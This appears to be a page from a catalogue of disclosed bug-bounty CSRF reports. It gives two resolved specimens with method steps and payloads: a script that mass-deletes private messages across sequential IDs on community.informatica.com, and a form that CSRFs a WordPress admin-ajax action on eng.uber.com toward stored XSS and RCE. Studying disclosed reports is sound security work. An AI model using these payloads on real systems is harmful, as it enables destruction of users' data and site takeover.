Real-world example

GET-CSRF mass action over guessable global IDs

◆ High
Specimen #45050 · informatica · none · 3 votes · resolved
Program informaticaSurface web

Root cause

A destructive action (move private message to trash) is a tokenless GET keyed by a globally sequential message ID, so an attacker can spray many <img> requests across an ID range to destroy another user's data.

Method

  1. Confirm the action is a tokenless GET (pm-delete.jspa?messageID=N)
  2. Determine current max ID by sending yourself a message and reading its ID
  3. Generate <img> tags for [max-N, max] and inject them into the attacker page
  4. Victim loads the page; each image issues the delete GET
<script> var id=16000, n=100, html=""; for(var i=0;i<n;i++){ html+='<img src="https://community.informatica.com/pm-delete.jspa?1&messageID='+(id++)+'">'; } document.body.innerHTML=html; </script>

Insight — When a CSRF sink is keyed by a predictable/global integer ID, CSRF becomes a mass-destruction primitive: enumerate the ID window and fire one image per ID. Watch that some backends abort the batch on the first non-existent ID (send one request per ID instead of a batched list).

Real-world example

CSRF in WP plugin AJAX -> stored XSS as admin -> RCE

◆ High
Specimen #125594 · uber · none · 3 votes · resolved
Program uberSurface webChain CSRF (no nonce) -> edit any post -> stored XSS in admi

Root cause

A WordPress plugin's wp_ajax_ handler (frs_save) performs wp_update_post with no nonce/CSRF check, so CSRF against a logged-in admin can overwrite any post/page with attacker HTML, yielding stored XSS in admin context and then RCE via the theme/plugin editor.

Method

  1. Identify a plugin admin-ajax action lacking check_ajax_referer (frs_save)
  2. CSRF the admin to POST attacker content into any post_id (inject <script>)
  3. Script runs with admin privileges -> use plugin/theme editor to write PHP -> RCE
<form method=post action="https://eng.uber.com/wp-admin/admin-ajax.php?action=frs_save"> <input name="post_id" value="POST_ID"> <input name="title" value="x"> <input name="content" value="<script>/*admin JS -> theme editor -> PHP*/</script>"> </form>

Insight — WordPress admin-ajax plugin handlers frequently forget check_ajax_referer; a missing nonce there is a full chain: CSRF -> arbitrary post edit -> stored XSS as admin -> PHP via editor -> RCE. Grep plugins for add_action('wp_ajax_...') handlers with no nonce check.

§References & practice

  1. PortSwigger Web Security Academy — CSRF labs (hands-on practice).
  2. All 144 disclosed reports for this class are catalogued as specimens above.
  3. See also: exploit chains · payload libraries · methodology.